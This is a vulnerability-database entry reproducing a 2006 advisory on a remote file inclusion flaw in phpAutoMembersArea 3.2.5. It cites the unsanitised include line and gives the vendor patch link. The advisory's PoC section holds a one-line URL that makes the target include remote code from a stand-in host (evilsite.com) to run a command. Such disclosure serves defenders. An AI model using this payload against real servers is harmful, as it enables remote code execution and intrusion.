phpAutoMembersArea 3.2.5 ($installed_config_file) Remote File Inclusion

vendor:

phpAutoMembersArea

by:

Philipp Niedziela

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: phpAutoMembersArea

Affected Version From: 3.2.5

Affected Version To: 3.2.5

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

phpAutoMembersArea 3.2.5 ($installed_config_file) Remote File Inclusion

The $installed_config_file variable is not properly sanitized before being used, allowing an attacker to include a remote file containing malicious code. This can lead to remote file execution.

Mitigation:

Download the upgrade from http://www.dwalker.co.uk/phpautomembersarea/ and see http://dwalker.co.uk/forum/viewtopic.php?t=517 for more information.

Source

Exploit-DB raw data:

+--------------------------------------------------------------------
+
+ phpAutoMembersArea 3.2.5 ($installed_config_file) Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: phpAutoMembersArea 3.2.5
+ Venedor ...........: http://www.dwalker.co.uk
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_83.htm
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code auto_check_renewals.php (line 20):
+
+ .....
+ include($installed_config_file);:
+
+ .....
+
+--------------------------------------------------------------------
+
+ $installed_config_file is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Download the upgrade now:
+ http://www.dwalker.co.uk/phpautomembersarea/
+ See: http://dwalker.co.uk/forum/viewtopic.php?t=517
+
+--------------------------------------------------------------------
+
+ PoC:
+ http://[target]/auto_check_renewals.php?installed_config_file=http://evilsite.com?cmd=ls
+
+--------------------------------------------------------------------
+
+ Comment:
+ Thanks for the friendly and quick contact with the developer
+ David Walker.
+ Reported the vuln today at 10:04am -> patch available 4:47pm
+ -> ideal!!!!
+
+-------------------------[ E O F ]----------------------------------

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